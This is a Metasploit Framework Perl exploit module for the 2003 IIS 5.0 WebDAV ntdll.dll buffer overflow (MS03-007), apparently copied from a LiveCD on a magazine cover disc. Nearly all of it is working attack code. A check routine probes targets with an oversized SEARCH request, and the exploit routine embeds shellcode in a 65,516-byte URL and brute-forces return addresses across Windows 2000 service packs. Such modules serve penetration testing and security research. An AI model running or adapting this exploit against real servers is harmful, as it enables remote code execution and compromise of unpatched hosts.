Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/usr/lib/metasploit/exploits/iis50_webdav_ntdll.pm

Text File | 2006-06-30 | 5KB | 228 lines

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::iis50_webdav_ntdll;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
    'Name'    => 'IIS 5.0 WebDAV ntdll.dll Overflow',
    'Version' => '$Revision: 1.40 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],

    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000' ],
    'Priv'  => 0,

    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 80],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Payload' =>
      {
        'Space'  => 512,
        'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
        'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
      },

    'Description'  => Pex::Text::Freeform(qq{
        This exploits a buffer overflow in NTDLL.dll on Windows 2000
        through the SEARCH WebDAV method in IIS. This particular
        module only works against Windows 2000. It should have a
        reasonable chance of success against any service pack.
}),

    'Refs'  =>
      [
        ['OSVDB', '4467'],
        ['MSB', 'MS03-007'],
        ['CVE', '2003-0109'],
        ['MIL', '28'],
      ],

    'DefaultTarget' => 0,
    'Targets' =>
      [
        ['Windows 2000 Bruteforce']
      ],

    'Keys' => ['iis'],

    'DisclosureDate' => 'May 30 2003',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Check {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return $self->CheckCode('Connect');
    }

    my $request;
    my $content;

    my $url = "x" x 65535;

    $request  = "SEARCH /" . $url ." HTTP/1.1\r\n";
    $request .= "Host: " . $target_host . ":" . $target_port . "\r\n";
    $request .= "Content-Type: text/xml\r\n";

    $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
    $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";

    $request .= "Content-Length: " . length($content) . "\r\n";
    $request .= "\r\n$content";

    $s->Send($request);
    my $res = $s->Recv(-1, 5);
    $s->Close();

    if ($res =~ /Server Error\(exception/)
    {
        $self->PrintLine("[*] Server appears to be vulnerable");
        return $self->CheckCode('Appears');
    }

    $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        return $self->CheckCode('Appears');
    }
    $s->Close();

    $self->PrintLine("[*] Server does not appear to be vulnerable");
    return $self->CheckCode('Safe');
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $use_ssl     = $self->GetVar('SSL');
    my $shellcode   =$self->GetVar('EncodedPayload')->Payload;

    my @targets =
      (

        # Almost Targetted :)
        "\x4f\x4e", # =SP3
        "\x41\x42", # ~SP0  ~SP2
        "\x41\x43", # ~SP1, ~SP2

        # Generic Bruteforce
        "\x41\xc1",
        "\x41\xc3",
        "\x41\xc9",
        "\x41\xca",
        "\x41\xcb",
        "\x41\xcc",
        "\x41\xcd",
        "\x41\xce",
        "\x41\xcf",
        "\x41\xd0",
      );

    foreach my $ret (@targets)
    {
        my $url = ("A" x 65516);
        my $s = $self->PollWebServer();
        exit(0) if ! $s;

        $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...",
                unpack("V", substr($ret,0,1) . "\x00".
                      substr($ret,1,1) . "\x00"
                  )
              ));

        substr($url, length($url) - length($shellcode), length($shellcode), $shellcode);
        substr($url, 283, 2, $ret );

        my ($request, $content);

        $request  = "SEARCH /" . $url ." HTTP/1.1\r\n";
        $request .= "Host: " . $target_host . ":" . $target_port . "\r\n";
        $request .= "Content-Type: text/xml\r\n";

        $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
        $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";

        $request .= "Content-Length: " . length($content) . "\r\n";
        $request .= "\r\n$content";

        $self->PrintLine("[*] Sending request (" . length($request) . " bytes)");
        $self->PrintLine("");
        $s->Send($request);

        my $r = $s->Recv(-1, 5);
        sleep(2);
        $s->Close();
    }
    return;
}

sub PollWebServer {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    $self->Print("[*] Connecting to web server");
    for (1 .. 20)
    {
        $self->Print(".");
        my $s = Msf::Socket::Tcp->new
          (
            'PeerAddr'  => $target_host,
            'PeerPort'  => $target_port,
            'LocalPort' => $self->GetVar('CPORT'),
            'SSL'       => $self->GetVar('SSL'),
          );
        if (! $s->IsError) {
            $self->PrintLine(" OK");
            return($s);
        }

        sleep(2);
        $s->Close();
    }

    $self->PrintLine("");
    $self->PrintLine("[*] Giving up on the web server");
    return;
}